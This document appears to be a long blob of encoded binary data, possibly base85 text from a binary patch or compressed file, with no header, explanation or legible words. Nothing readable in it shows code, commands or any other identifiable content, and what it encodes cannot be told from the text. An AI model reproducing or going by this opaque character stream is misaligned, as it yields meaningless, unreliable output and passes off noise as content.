zi+Z5pt`)MAP))A776x`^Ukw(>z6*Rk9p)6}_>NJ1+uA%gr2$A&QM2HzpDh_)_4B6* z0~htX%kByxPq8KC^7@Q_F6!7e)WW?I`rx0q`4@d(PVg%%REBe@{ouMTC6G#XlrNJw*5n?Fc;0 zp;f5Du71yNTtRSZD#=RQFIpkSEkXV`_c)pIkYh=$Y1~R ze;)U{6IrMHjEDGQ8o2ToQZoQtAB8{3Jn=b%dhkHEs5gIgGF}{h#b#A<;QK1Vbc~7S5yM&((L-yFGPI{O5~z0W zKun2g@@vx6tZUpAxh30$3{|E>0}c_tTw5fq&Eql?El@8L)ADs+RcDU79our($|ldz z9cl2vXI#WBwauD_T5O7o71eAep_d$+C0KIUiGI!fX#Ou*`PrxGAg^Y&#YG{Q0(X>H zACdsp)50Z(67bd?BT$A;{u=TlrA_9%PaAhf51@X=Mh~Ae_p<_U0SHDSUB03g2adX_ zgeFzYH8L?IpOb?YOI1^d0+upaQe@C_R(F!7BTSGmGUWVwDYV=!o%pE}Qm|h(bYbhC zSlDNLba)xbr@MHs1m2?i6c}IOq3m|Nr)a-t%AjJ0#S{TU+jMQ$c(o>Xu+^jHlT{q3 z8ca;x0?e|>b|h7luN4{~fyJiaSEPjG&nufuW*D~9iv4y@9fiD<8J_jv;VLYyl)vU&g_!2n zv4%5I%IQlL=LWva$eO5LIMkOKP>OjU0fy}4TD{J^42T-~5-Upga}taO{2SPBel21AU!9dq~RFy#THE!ijsc;wG`Nj*K# z?ejU%9NwM z9RjCaQToirO5Xe+ci5!6j}j@ zm8K%DN+DB0C;^&vDCWG+>kgl>QzYLgdsL=xn@a0arC9W&GhJ&6Mc;2Da>=y?Uq5PX zQVKggp(@ux>QxTDsQN-)*G!OzCEBlq^|x3*^G@F{3r+}h<#!uX-TZT#7 zNyrQq@g|2S0@dBLR~OX*V(y*%dQBqHrHaBMHGLkRd^-*|HKYl9g|P zV$$hg<)yWHTwj{+>ob;$AidEJ1Pk7IA3;y7^cUJ}h{x$&W+On~gL$kAyk*JnIcT$!`Pl+~LTy-F#) za*`BBY?qopWML(N)lGf*S89Ad)r$6Xw_OiW-T0+e;`2D2{!DQt`*r8_da^q94Owm! z5r9Ap()o<70B)oyP6Tytl$fG8w=G}QaOCzXYDcKvD#|^U<&lKIFN;r$ugiCrOI{k^ zzEdAeu5k2?@?ceJ1elPYqr&-);2!w~eDa}p36W!b##crZ$Km;K=*q1WqLnHzO@A0Y z`*`Y$!v=Wpq3Np4hgKX5=tf!K;O%igPbVIgIJ@gT8DfSE|Vbj)LS;+&jNSeK>-up_BiG32z40f^+^U8 z-Hy!Me4U)ei^S-{b2@>r4C-#`86GQXM4|CxHD)tDxeH7kq0$wAz_k~Rj&+f-?Q-;6 zp5>Z>n^w*Yii+L04LnUCT_+$%9pg`R0C-QXx+va6{iQDv-*N*?rMOET|gJ+JtYGtpAlbZ_6qPV!g_P6yp>wiV=ebmJr_q3xj0 zah7zAes_JZmkc5Po4&=lfw%4>)u_VhR+BSby(jI>!5}hEx7txWBV9&|j4j3ams8Q} zRxy<~xtcp`_AMVL>q|eBLfQeMI@CPIT|ouZowC{yvD@0C#*)txT~vxT>RMDkPM!+k zVZV=^M52dMF$ZF8MHaFo)VD~60_QtfF~DS?jHT+WdbY(uRa%Z~WLXus6!kOq0^v_r z#E5Zv5!si|glZx!$7+%afK&XfAR{}q@kkQ~Vb`&Z8|oY_JGqKvftQoidc6{=q6aE) z7_@ch2KNzYn$TuxAKKiT&Gj?>I$~Hgsn$h~*2O5-%;QaMsmIo?)+)DR3V5~ff!wPyXC(ENJzL-f2Z_g_ZGXmMJfNbk0AGMW<3M^5 zqlXh6| z%{NDmgIei1yIbWm9<%X6(UYjws7CHPYGbU1d9|2r)9zr=Y3Eg3!QsuIz%Y2K5hI|d zbl|zTs-v48CzQfUaawMuei4K;%4CltA%7~RW=l|oNnqYJKVvdJu*xM`Tb8Y+X3|dK z=B^I#;_LqL^<+clcil;knj)Au#^)J9}8>X*zu^5gqGb>A-s)2U2)9j&*B+> z!+Q+B>@uq?)Ia00J7nh${Bl<^@=G8F*tktETUcGnL@7*F;NCWAf{-;^Dtr}yh~DL= z@93J1g14H{yRIwtIpG}0zmNFOmUdINEw!uH<_gMIj_orxtC_k`1qI6?7dLF*SM~gK zpi2$|yHyNVQJE(d!IQWnhAMoQc4sVloZwZryt5JsP1o&f$%Q=az7V7P2ATyw!!|T9 zH<=9TXM6@)-^8s~vGFwA5?gA)-O|ULquWza`5L6l2aQ&UY6v_ML8&y-awughlUzr} zy`?kXHkLG1&=B>kMY}C-ar4e2Ui1R??6>jze#U4V7Jj97BRDbFQd2Wvy)_HDN{*Pn zqnT!jlR0Z5d*tynv=_M?n8v$4_6oXCa?OvWf%QVu-z=Iv01L0yn6CM!ZEI4}^JknU zIW-11j){+T+2p*&&{KdSJ!@A6kO9Qz0Mv4?Ri{FU$&Gr7~h9dP`uj##AcQe}9p?DU>an^O+y9S1#8s6%J$lX_mNL_;K{*2dv5qhC< z{kfJ@(u(z}gK@bb5p;E#r{T%rRrX+&=2~tqPw)MCwTR{lcIjl%s`4&DSphe3<#_Ov zPvP4Md6kqsmu5sx+qPsXV(@3o<{(2ESF%#H`Yf_DifebrPv_7FT(Vn$6RT2{s8Y4R zxXB-CcsVanZ8`8+vsyqvy`byoqO6m2#A_t#slpV2E>}(zj2sd5DeV0o<2EPS7jO5D z&(RO*>gDarEo{Q<7$U2shkz3KVEs!91<;_9m|TgYcqope$@idqs`L!N`D@aztXXCdFg^c6pZegQW1MPYTK^Gg9wGb#zG&Tge>v>mYYoD#^F=oXFLx`l zrUY8;NVb!Ewk%i5XDmmdJLG|IN@w5Gue99}zo=b^A_UYoZV6f%HYiK-$d|*4k4Uu04LvDT$N-@VIC%kGVgb4G7*Q;a(Pumt-5r#R6+IabiH2${ z=%>kJmmQ~Cr9}n*>qwbC3fHMaL;&G%swPE2S0wLT{MZo}zm>z&klbAXNk`sx&OZO? z)y<5ow2B;t5g^*b;p1 zpd*)|L$3xmf^NM6F3!PGs$UAvfEsJnc)*d#eqS{h8#&*79|67ylwyU94hYa8A}&lzR0bla zcW{yQVaRgO6+xeNfvR)@zM&#%Z`K)H2IccJzO$zmSE|n5k|HSXAUifrMS#_p4 zm7;Uz^qw6Xg78~}eFQshtGc*t$S(Vg^Rj1pXDP4!IYLI@Hg2|xROi6e`&rsVQkLDi znTDcVNR(maa!++_mh3R3Ia#)yX}k`HjTfz6!wl+ES884V-KcgsfU8W#(pw#%K^f+`+S(oZ zTC2VxYIok0FL6n4Dgd|ZsP>P~c<<$NtME3DSgH<L6&xxApEOm26icILlVr^*x#ugp&7IHR_-W zga3@V|wNW1Jo1Q@<(? zr#d`$W*FC-1pVV6!21Df^U(kv#%c5T1!mBannyAVSz1Mu#E+%V*iRah3(r)hk9CBc zF@RPs>lt@JH9MIx2PV z#0&)C+iuSp`&VsvTj0^(JT)cW<)n$1;`uxhNc82+pE2MO60~|4s&bX8>-`y#JdX*< zHcXZ`$ZwDXutD-XyeqhLA|H)RL%1;PQy*|lwWT8=YP_YxV5QzW79;AYO_f+Fk(PgH zQ9h`w&p1%SR-UWS2n6~*ZfJo?k}L-!RD86!aS%fwQoE`)PR-K@_NS6j6RJCj(l`9E z5x8&u3NNwlpJX*VijHiD%Lr7cgkJu*!F3Ex-xMHf$MZx{W4@!$u#BBWR2@vPt#OCo zZa?k>cXxO9;O_1gg1ftO&cO-pZUF)u+}+*%Wxd&*y!$3S>q&R5u2t2$_E*i9@=xR5 zo6yvXBH96{mxGJ{wu2PhvcwR73|Z4Fk!-9s&K`2x0LXNzq~kZfX6_G9!;u^YKl&SB z(ThXd+5Ibv!Zr7`NurMS|KyeSHYUK>-C;pRXFQB~+HyaWf&>XDiM_Qr9@=m$2{|Cq zaW>ovVaLzCUARzb zWBAFzvj1mh@Nk!s0a({~m9UM}5V3Pau|;~#r?n|gUc?lhWq;mf_nVBb!65uu|U(rfs0 zV}|CCF|Km4lxYz*%flOH?zb3ZP{RC@y68!HE!-qSbSE};Dvm)%0@<0GU-0twi43&p z25|^^aK~-15wYGWYW13y=Cq(}(pvULH;&h8nEMjB+qLgv9ztxy8dWOza16MgIKz9x zxseA2ufyS%+O9(#Ue=#E6BXo<11(QF-mp?9!R)dTNTM?nB_3-2H*V*0?ne0c%Yhf5 zDQyO6cu_KJG(G1a;_shXkb>t9hc*h8Uu8St^mX;KrP7oEWf2oQkTijqVAr=@R)L@e z2=Aqaq(oobC03QjWF~Y;$@vx^pah>?qUAjzF<&x1D6pi1qq!U#IXuG8)}ZC+n!`&6o^TZw(BF4(u`& z_k&^)a@w{mqsS>c#89AX=SDE8RnnIra2z zk@qk@1q$L-V*o@0l-N`{8gPZAQl$oJV#=t=xjAm1X@0$M1S!gA06EIX$ZZrKRM4V4 z@?F5&@cl8+=d0-e0$Gmp(!1Yc`xB%$98XjoiloZv8km~sZDHC+Eazh?`+l^DQXx#j zrO>eApRUUP)H;bddp4`?hL{C;dDRjr6#vY^t2?jZ7|pQJ5pEs%FFiJ9u+1}4rAXz+ z+pK6WG9ZM*8QJUvwV6pP#Z?jqhLLK8LXIv!$#259t_fsLskW9#Hb|OL`vyH0W#5-8 zDY;+u+$f>xeE}JG+x8Q*OnpsFydKp7xBg_cZJ~{^cy%daP~GUXA%2?42XrQPv~7GU z-)lMyo(UAJ(vv)PsT9IGe0O2Uq2ma_e!?_i%Z_iybAH)#68v4U7=slQzv#Fsc^~2B z+>I#C?|^ITc?2E=Y;TJOt7^?uYI3u+rWxSr2!l|dz5e)$*q-g_k95OU*JR3LrH2r| z&(4ab@oWp7g!3+KH3jnUuN>HM^54i}KB+uQpOE>3UEelBI_i2R;!sj950!bEtQ$nc zN(wvvQ90AhTBmW#sr@zhX&Bm{Z19VX8E3aqf#FphLd1l$_MB^aYZ&?B`*Wpg(es6D z2g!HabBrT%Ko}<}@8RqmGoV2PjZdd#&E9DW_cE zUkssW)fp^&Z^tQ*0oc+1uC(hljr{mDH`HTtUYU7SsjAE2P0AkPZEoBN#2)_QRJpft z8PkTbgFNIoF5%aiO#a~2(VWLkJ|OH3_7<)Eq#5kircE4{``2)3W|GS|ZMVI(c97#n znSKSy(uWts7nv1#EHN&b@c`)4{>D;fc-c=Z{G8pj#(|~wq9(BStuE#F8P50wm6Bmh z6%2tkV`D9mf9TCZv$S zi{4TkGpnSE0LCN_c{H~=#5wW)qcbmd(ItA3eI`|&>j7ik+Mg?)Kw%Ef;A?R0j$&Lv z3eH9J?_E!9*C;_%$lo2dSJc1k|G9KADq`U>+3YrF%Tq1?=K=U?X;XAk70Ou&lr4!A zihk4Q{^@|VKd#QsY4}25-4O;hh z5BU!@iz!gK-3>Y{ifLI5cg6pjos@jiC9U^8VKM__D96Kjo$pvz`#KILdSy#kHi~Cd zo%XRDDLDUOLiKZEo>I**ZazSDNcx8A-KFk5=km2~B59PTU2@ob2sFz8PZ#u$jQiv9}A&Trx>GbjkaUE^Hop<r|g#pOjxf ziQ5J3#`>La(c2jo7|xtGH)(X!Gb8u$aakr5vC5=haVt*62dYDEyoO6RuQHE_3;V0Z z4sLYi2d*uWC^bV?q`PXF|8sPF3qe^(@4*bYvqpKf8w&_9sP3+ttUc|_6??ZUV3qmG zoNFN7m;3aHB*js6n-$3>%i^e)AH|E&3t{P07o~>$5VC>`9RJZGHfSv1-PXsUqI$At zO}t7rg+q)U6kFyt!1BPn!$9{RWWf9^dRFH{?ZN=SL;(jx&dA@bpt;jks_qMSr0s;O z2lN6U&(-FcQ9ax0C|`HL2>O>e#Bv6WlvEcx_2IH>w{DW6)O3<@l%+sIY`xM?NduQA zh`|k-tN9V|w2?pO@qxOE*X$vVylq#14SN_`r;&&SWMP(h@6to;kI3a}!FEd1RtACN-TZY_WLTnr}YkhKY z+>+b;nHE~~85BN;)X1_(Y+_d~29Qe`sPF=D$76Q50)1t<6L(LPAeDTjm`}0xYy@Xa z96Oyut-{~2{*~3#yc%KyZgr-qiJg<>M*Al+f+0gf0j2P!o^J@ePX+4 z%nfA5jVG*%QsAs^j_te<K!s)58STKB{SuIy3CcAkm^`Dk`EDZxQWz&~Fd>1}ZmXMTrKQ<3>rk*L7>8Rx_%Zu;9)Z znMm<+z5gQp!Cd~uCXF*Tv!tLr9Fc;RFX`^a8O5|og%zEukKDKs4mUR*N>yT~*-Fi5 z&k^FLNmOKkxTK`v;uXnFW^gf4L5Ep3eS(cB5Dlrm9(<6`G%j>aGpJ{=uurc=A*VU zN2ms>W$k z>P02h;naJ6(k^D)g@p{I!9>uI^7gl^6nWH;{uN*1$5(>7ii^Jz3kRx>k7cL3zRopo z+zNtPEE#Gp0GuuChhpm{ z3{dETh`F}oiLc#999YU@bL-ZckPC#wQZ#vH0|2MM4J>Un`J1EaZ{FF4#g(^smSyF8 z4Jo@+S433Fqrl%M+}8il3S<+5ASgV7sJ9KGsH?h`_e7se$Zj~YGz$;bIk(6MM6om0 zcG0Fo4DXxI%rGi_bNQp}s)r|>udDSt(m<0$`zpJ>KbYp0EThQefU3p4gU{*2S^7Ue zRG)nug66Fr$7(1QyWmZLb#52eY+|6$gv29D!xSQ!l8i%kS`~>Ht=c_#(}O2e3})Y& zR3xS`K@)JLvcx=9yv+_FI7UTg6rCLcyXuuAsGLgu*rG8oci~md^@dSF2RL-9?)4lD z?h~|Ay(DkU$@Cqzuc|ggSTfz=ZxRq7%S%wr^pj_1E^^~See=Xz-n-K_1#QWUuTIb4 zd-dSh9Eq-1H~7oYr*6B#$PRx{Il&;=Yy;+FWxokN0T?7!)Y4S$xB~eRjr~m)8_=(! zeL7efJ%Et!S=PGWQ@#tsPAxkd@iZP;6Te0G3IisWt~F13673pfd3LB9)+@C5?3=`nw!g2I1}Qf1Qf~(qJmoepBtLOMJZd2vx&+#&X0NHu5B!_jw zy1*@Org&e^6H%uB9Cb#Yd(cSpTZkNv#O~Df;u+|djQX#`{}}m$1F%<#9v&qIJYJPg z@q)80?Z%t_N`x8VyEQ}!?fMYIn#!!!&cahc5RJ2#(@p_RZM@!3*3w{T_ zD956S<+q{Q(qej1@8@sWBg(9o`H|3qTAz3Y=2!3tM%;p=MES*b-6emkUfC3Oc~vDj zb^6B8TqIy+=z+=>-hz6f#BSv;O|0D*yWA80jW)8mG}q81}qa zO?g3lTqPqwUkHYo8e&fKsCJj-GxT<=1tlm9qX=KD3c=@V_%vReEBgw>;y>h3i8b_c z^k-g|-&UX72kpKR9MuXjQOhPsNL>qzDi*sNEL~i=f!U^lDW|0rz6@ZT++#C<`X8ltF%1aA#*SllqKUa~d zq^j--8tF_}$2t$yK37S}a^fRIP)#F{p^rqkPcR0Kj|kAg4Fk@Z%hmVW@-OSdZH--; zNr3h3&}r&^=g-8GWrw1wDtYu7g6c(dNP3(h={jk|*0E_loqjybyvm+<+dpNGC!U2A zLeZmaL38-qLR_?B@>b~9AT3gs%|aL=>cDpt=zr8B~Mz*}KvXo+Z*@DK_V1rn@-28XFT*^V( zcC)>t2F%(DT=^BS935oR=4!A`)CgTg655MTURXXO%n{;Gwl{@{xa?K#Bh_=ryb#K#mDrCFRygRd)7OjlcJjoW#I$zHv<#g19?Nv;UAzPt$(&SOTpP z;auq*TDq4+c)mVY&%%U}AuZLGK3zH;xxXoyQT8$J%I5acmBvN(%&ZH*m!-s+%U#%; z7}A=s@PGiSWIj|exe~@mZKtD7D1POQkg>iZc~78i`55-hpYiTi9=+ZP72~D{GBcedmi*jgzSlpl`2fS-G98-q1)wdD$h4=DR=sOk3A8ytL3`-x(NdsXSaT z)jepuS~u|gR}6>RvzWe%VsvHQ6i+DUC#cb!dR)nO($q;)C%d7`ss?C1(;BQv`5|&5 zt{(~|#YIR70{XKPrKfjzBY{=1)DU3xyi@n(n?YYzu72tmf+4C$inh?Bt$de?vSq6Z zZcqth>EC*3)0Y7RC=kPIRPtud_2%uycdxvR+=9_8)NoRCy6iI{W%Slug+$_sDLdfA zP#0O2TkR9TG;c+@LbUOu1*a)Z`PxyhtM*;YAvEmc3jx`dcY!=(0!PYqmjIFi zRi)ziLbh9wtehe7VQuZMZ`qxo<1y1vgKPa6U@|(kx-8q%fMoPLHmV#!@h5J@0n#ECsKx9wx|6RJvSwpR*&*yiXpDZ?qT41X%uD=6_Y(u@q+fcmeK0T2J5 zvf#M%*gL{=K~zak$Xo9dSbL0fPw<4@)9XaDHWZb6iDpyQrtjKNs;W;;&TZe(`LQ_u zsTNRPvOY;2zGJKdx#?6MlLSb#@P{sZdd4Sv;vem8J+dHz3t2kJy*&nW^4}XTUbVcn zeuq=jwd8SIeoxEB;R8k8l2yU{w}jHm#&U}zf;!Id%B)143I));PH3v9z3P=?(8wR} zZ7DMz>fsko?uI?xXlQ|aewP$J^Re$MaC$-h@3AQ1%e&XxCF-Tq51qPKX=M7C}6(X+=C8q3N)lq-W zwoZ(x*l+)?nvfh*} zkvY?6v*s;+s8FmDzfdfqO2WE&l0A>binJ@f=NdqHvRVe7uNya$8C^@DqZRQ{79rJJ zeNaF&{-}>=%cZqa(BoHf`h4)n40)A6+(*@PeSUmO!8INKNBd}A`ND*_^}JX!042gH zRgzWtN?2q|9KC16>y%LFwMK{F%N!(rV|WCyhx=c}vSu!$e}WwqX=WjtM$w}1~H8MHBLBi+{Ud{QW-K-NnAN!|YrDs=}r(!*E0 z1iGOPiyYENa}#PXIG;HZ9(#OE3N<|MEH0oM;C=PoZjDc^LyP6oa_9^=;!T^&*`HOG z;Fb$>_l5;~?#^gHe~L}Ew8>99N~g;Fh~HiqdxV|8BJ^|SKH|#58-{MsVQqdVUru=0 zS zaJxe}H#5~8LvqQYEzXENY1S~N1rRsBAi$shs@VbTZBHaMUfVnHi2bm z_eB3RaOFNdu0$`+m9v$-CV%2p?@O53B)Yc;-Smi<+n=H?gc8(ro;1rcY~%#V{47zP*ukeo9%VC`GI`ka zrYNb`dBOjz(_U2S1%I4fk`~(O+MODM%B#94e9;2tD7Pqs{N$h@n5TM2Zz8Pe^jtIt zHI#-XA-{w8He+ATo28dpsaJ(OE@_Z6D)te6XxOwI)03rpOv~YS)drSgOBHa$J#$R6 z#0wTDW;C7>rx;@+G`Cf-6BL~ggHkBC0AeR)xYj)RGsbJ6fEmw9R=Y$y-C@G2=<8oC ziFI_?+$)`s9x4=}9xIjB*g*yB4;sNEtL6=7IOUq{*IHT?e6@Yk@<@OyyyyRF9-6mH z+1sSvtYz|(823=BcAl3iT@Y`QgGsSf)e_5P*T>YUn;{HTx|mCWj8+`VKBWpvv z#Wh302IN#pDrmgPQ2Ub6so`bi?7gLcFzJ*f4sJ&C!V5kU6`O7gltFYGFwDnp?)$T9t_-o&wfI`^86P)7I?4c_lS5b& zm$~Stig4V8B8$ngttv)}y0J-3G%a`G$T3LLq>u$*quClGDC68#q$3N>vi_<_yVNbP zH#NdnD^MJ@+1m znQD?D6Qh|3$^ylirk0Ht^kj#NogRL=YSl0?KSKw!1c;c)BvC|bX-x;KuNjq?s=WH-K+EKqW)nv07$3--gZ~8I zfF>n)M+Q<_DMMS(k+fX*4D%DWv+@|uZ56*-VCUJ#- z-IZ4X&hkDvaILTSnF=O?nWn?>Y`4_@oAYZ!P9e3-C@f-S`)_bXZM*zk(aV!*P~PScGP*J8dzhn=!S9Lb3mAT^*(N=OgM$vmN5)~0ZQ$JCH7y6KcAsEKO{y8X z$D9&nbT3m6>&qq+_3C^UG$!)ZfAZF`z^}N;y8e`>17;(&1inFK@0iV@(cF-EMb{RLT(wPlGa}~h zrwVA>PrgTEKOak?epegT@0G=Cu4!4$t?75B%k=i1j>9y|2B^jS!Zaeyo=_QvzIN;L z%x|C9N{_2hEVcbj2UAWFd_A3u!@p-8a5*)qdR%?1NZGy5J92j_xVjEG{Js|&z2|Pb zoU~TV#idAxuh|cilXhIjDZ^-pg;Ziv>KA0uHMWN6?Lz67mgcRYwy|@Fdp3jLeRr;I z@xkt|Ci0Qnf-t1OYK-(tyGpM#45ZWgZ!rB^!H$G)Y^Lv>)6T92_}Y7*xCV6mus%7d z1EM}bA3&a&CGCbaP!#~*C%W?6cqvX~7Nni25q{i1Nuu&v{0ii*Bt%C%FYOQQ@s2nx zrqBjov)E%Ga|XeS`~&Mi6ju!WD0gGGjw$4-79RfDh{uorxmpAmV-FrV4Sd}W5aFUs z65o5-PrE>oXS#lnD~|GRQXnzLBx>S}tuAMbl)*Br(`(#gbP!XC&{*%EX00j-bLUe^ zGgM=wp6=*4%o)rIwtge1YpSc0g!MI1)wA^TzMg7rE;}CF(I$uS@I%YFRg0Q4;gQ2?$yC_TNP;61_<^*0 zI4YL6n?zUzGPd^BUQwA-dsTA=hbvw05dD@Z)~{g7C=x?)ZJCHw{2>XeYPWXYeC-uf zD9c1fJrv+i{)OM#q{Fwmz2cBTLF8(c%EoGF?5(Li(+Ou9`FP^c1YDP0Q~yBVd$I1U z4&)opN}O#v<3fzlu%5U0Sa6jmdaN0_S3?Xu<0!veomuWSux32(Ze}oh!@#6Rys9_; zJJq>y;$TcHm6(d#p~Qgm0@FFeUk7AA&R?H^fVy_oC7Wdy*sC0f9sDp};VHRGxg5mB zk2!?QT$*_n^0^d?ILSd{w&V$afW?p6QiSp0%&{B}N(=27KM4_BxtV5-Q#js1S4UFi z2hb*Iu6y|@*jGIoDG#9K2nI+-lQ&Gbt?(^&{EIJPpl#j?3LsF&7GLue=e&da_e5v+ zDV-)pXu*tK5HU$buJnKEUnvMRK^-Yjy7|83RF7qCiidyw6Vt)xB>F68+Hxxgk;)A* z1|oaUIzfs$g{N8!hYFW>ii<$*c`Y{x7H!&&?kW+TG4}YYuhrusmL_A4 z2C+>H(Ed$w#A4cPx2Y_0k^%`b2HUnuoWUcvlGq{GtnR*iV*6&1?79W3s&cY#Xx~JC z^TWG5*CFb%;7Q{)dT2l7`PR#n82%^hB%Jt{fdNIA?B6PSa$&tzTG;bXm{`SsO6m&2s#)c)j3fu z|HC~52|2T0)j zEL==A4G)g&38~x(RLf^RT~N@-V?ZNoj0Y$7Rw}*y??te0yum9S!~}u5=?xnUCfTXW zsn)oD!e3Gy>E0B^a-aZ+Aq#Xq^#Y7|r4w7#V&1>%1opdX2Yw^TdLh{AER@uS`l#Bt zTJ+h;Ra?2Mn(l`SSc&8dLHH4qqQQWg6{pdif_rKu*U^e4Ukztv?=(CpPq$-g@?bF8 z{0vZ*UubPiy~O4cj%?!)$%_T?7hx6hJbBlH?VWPvfc0Yv;D9)kGQ4eaRRLeAZVLK~ z*?aLbGUeuPotL%XZA(5W$8h8>(SRDGALBjHmMgR7?4{QGrz8G_iwh~2ui5(X>!htU z&e8EkxZJv#8_mRRyj}S5(JL$z`r8rqJUGOBh4|4;G?lvL$U(s!I_sp&F(EXY_0)f< zw`iy}e2`p^(ih_ZM!hYWr;<)ms&hl6opAKzQB{8leGZxrTJLoi8=pPdhi%7B+Y*_7 zb%V#-nO~QteVDM3wzF?;B;?=wASC2i>VPX^UG*Y~T@+J?o{rbGW0U3BAf(u$q5X39 z|EM5wAgvo`yHOF8gZMVPO0kLaJ3=H@{2pDm?F4AcVq-r`8P=$~>7M{|`5!Y)bl!wy zb*3dMJ4P6Cf8~r)0QuG_gEYF1Q`lnAgiAnzlY1-?%c>R$L{XXs8!IdTQz;`9zV7=x zj*WowbmS4ztKY_bL!bPw076yR80+i9(k+-yy>K7%N?@i$yWd4%)gO!Xtrt{Gtk9Q; zitO^V(}B#)DKaA!9-{WsO=UAWUkmSttOeJSHl4^I10cq+Z&r*34; zWv|0`+$4$+8kxLyNL)-SvkhoR%Oc;y43a9pd#&PvwO_Ae5UYpo65-97$Cc3>6q*u? z4Ye{c^o(y~K6`tK2qFg^uj!Yowb>`-d}SJQ_6TomCb;mvUFAVkHu$9;!Rq0X{x0x| z+3m^@4?gWX{tbRH4~D~-BUsY)f4O8IF;`__gFoS z>*R7}{8y$GKm40Nm{v_sPF@}2;A%Vm7W+0P#BC^+rXewk1*wGY`X(tx{D$VW0Tzt( z@~*WQoF9a`&d(NbCV&@hscfMUg#H?eD3;x(>JbVAE?>Lrdw8)=cx!k6v|IGoVomcw zx{7&)plEv>5}u|1I&3nNmDKTApH0qmEQ2Kf(%|8gzr9rA>+k0yNSAhGgeo(hEqe;p zB%omtf?FGTIZeL(J<@sCsV4IWRn--0e&CyBKBP znHgPBf=={kwzA8y>Q5`5sqfv)@iR3Qh#RxXwG5MijnZ>Pyu~r?=+lTS8m=oflz1w| z33C)D4ZoSZmk#$J`LRk$yhv+KP(hE-(Ezmzc^0DV%+Utx^z#DVtZL?aMdb)3sDO?i zKCdx7nQxzgX%GIkPlK+H`L4GQJ)7;{3dD_*OIr%fy8{B-CIGVvRre0;+28t_R#l#$ z@>a_%N_acw!h*1z{QvnQ8bToHXZpIeo^X1Z6 zKQ^TUy>r$^7*xjR==3xuGkMYc9w4v)?sWSz+9*WFbZ$r~uFjF2hd9nU`=V~&IyH=E zA6y~uM6lJdOkIQ-#`J1ICYok@&_~irOv26E3uEAXR{Nw6#SH4OniU)+l~MtYgJJGS zx%#WihDFzm!C^Mq8jU;+bgguAbM2I#0+%79bk=krfBZ#_-b$fX6don|g>?dNW(BI2ob4+O*?-mu<_IC|eEbhvDZ_wr9wL5ejNgJ>6FM<-L!y5PkB9kF3 zzCb#R-K3euFH-Q6_pt}6&*u^=o7dVqk83^L- z&ZTlrtdja?HTl_D6jlNRh1m&$A0Hny_{tm#8k{3E;cIX69T>GGjWH6x#*+leXUpU> z!l3P1o9%BaNcUyYE-|taeqgxXs*_$3tGK>*(3_d3MyRrkYZ_UpzU5v}cE3_lrG##v zjc3z{m=W150c7reby1|G2|}KXODhFEk&QrcWZY)Ygi^&wume{Ed;s5B%2js`6>Xcb|S03KmZFrZf2v^dF-36s>%Kx~v zTm!+{DYGtfrC-=3FaK~kG_Ilq+<|5wt;JIzpRXl)+Bcl8~vGO>F{=t2+7*o=%xrk0O>)4ziK_ zA*o{?t*TEu_tQw_BIOQ3NUDbrIMLqd|JC2j0&=YALX*3iP!2|pGJ$0)Uf7FnzK!xO z=hYJ$Ra<(D1h4ZF3<1X549yA~^ktgh8hg83r+9#dHoay6wp>lP-Y>2#^%_xhVJc-} zFS36pUM`)$43K}PdLvctu?_Y`D)QIc)Db=^7EjaJXImmeNRoaKSum>ceG=d(4lWFY z8X&h>6HV3>@p$aBF-w*|6o-y zJE!7G?Z}8Jbx_MiMw+VLKY)=b$iGx=pDM6~hL1o((=W1 zDZ=KTu#Q*LBL=33Q{C)B#BCohBJZZ^q=_l-s2yl9Yx}NC2S%lLKd6$OKdkD(3rneq zjo&W(cH(E|g}$iywzjS5T-MK!s$w$hckv;5sZv?{PzDLW8IML&vLeA;x%3Zn+sBa- zk_<&v-hd5>*EM_>CYycs!+~!joqOM)1(9@3ZBCeL8l_CnK;z)Xcrm?i)kn%r*1^gs_g_qy*yM=GSgl2 z)Ic|Tzgu)J9wgnD){+J#{jaW`F66B3} zrS{f!9J_5ezwTnes6Rfl<)HfUS6DMce=plpUNXLoU8N8`PcT?DP36VoJqiq;jCz^= ziK-0j{>o}10mkvz{ql+&e4J_HaP1xxR=i(8ga8wK{I7BWjPFaBKOl$q>RI5oY3 z7>ni}PV-_hQC2P(tc_7;ni8YR2;4lekjY(gohZ|oX4DzvrumnV=3v?D+cUFxQ!VK< zsAtbr5?duRf<5Xd3wbW;&chj1njm)0S9b36yPKfMcP*OayX9Ve#!uBOO_fn_21`X5 z5sTehDEMmXAp%G03EYu>vGGeMs$LEBU> zb&p={`3cOiaoVOyMyUGMlDA{KrHN|3>rY)r-nB8tqx>+>Xrp%zAv-|j9Uf#Nznj5A zLswU7wT8zmjQz$qY7sjhoT*gu_zi#oiI4DIYxFP^OT2GzTVrh8kpI7MOQ9Si%vbrk zr3VKFOC+jV2>jaGI$SB4Lg(>nH;B?OgX%~->;=2fTcyb>;s;1tiM!oamQuOVDMd*i z1i@-~m-;}D&F?DzU0T@En@>C_IAb!gIL7tPGK!z|)~x401?J-MAxUwPJ7Jkl%Y~}~ zz#l4PN;CkDHYFOZlJP&vQdHjMy|!mub3;1nH6$r|H7^8E)~CM$e0 z3iQzzG;rnXtrP7zErNb+R5(|)@^mvh`0-6_^y3s1+BeSC{0{YHu(+n~eDc+Y(fG2y z5&2xeJ@m={4(RtS>;g+PQo7X&)Qv*2o^7Vvc`$UYU04czGO=GE-gWT@7Rg;!P}SA#M&LSh#^Tv$H#^*s=ilKv23P^)2^RQs1|9z)db3eAbLGM&g8 z(N>hkvw=jRD_ngs3rZRyL(Lm4NU z`a*gC-D60sUbeA6Z9|%eB0G^pl579U`gF@%lzG~g$RGmWx1C@H6&jKyW-snUB5mHV! zUF`f{W@_&G(K~TEX8!c4Bu8>oCM*LLdc>NWAn^}~Xdys9_1+(-5pSa~Ku%FL*33G+*+c0Gz^IxVX4W#!3qnjb(AHaJfWpMKAX1mVGl4i{Wn!Ds> zb=o{RqjRKzxw^6bLEn*&z2yLx3;zJPOP~DoHmqyt4b2A6XQpRfML~rhO6{+6vW*|p{vT-elJW^?5lxgIpdqN^l0! zF!sSawbUB)`zy~2@bl}Ro=EBU6_@;Z(8jmq{$RoWk?t7g6y*54od(;vNnW|}1_zS5} z`m2*>`pwZn;i`tjwyLD z1gd{pSvMmh$oI;P;g>}SQ?m&a<6;}{*G)Xgm3paJliJiWl~epuCP3{8*V?bEU6T_s z`UxSRV|2$zjXX!`^+#6!s7{lc`VrL_L}N;2c2P}h9p7ec?@RR=Q+3shndGMQqrFDk z?Xg8nS$b)A+&PWD4l9%g0?eRHKlZV}Jc7JVvUPJ**D9G3ouB9Pjym^M8ze{{pAYe4 zd&56g;*-HiJdAt`uf%&vt6!YR(82KYl%e*{Nja-!Sx 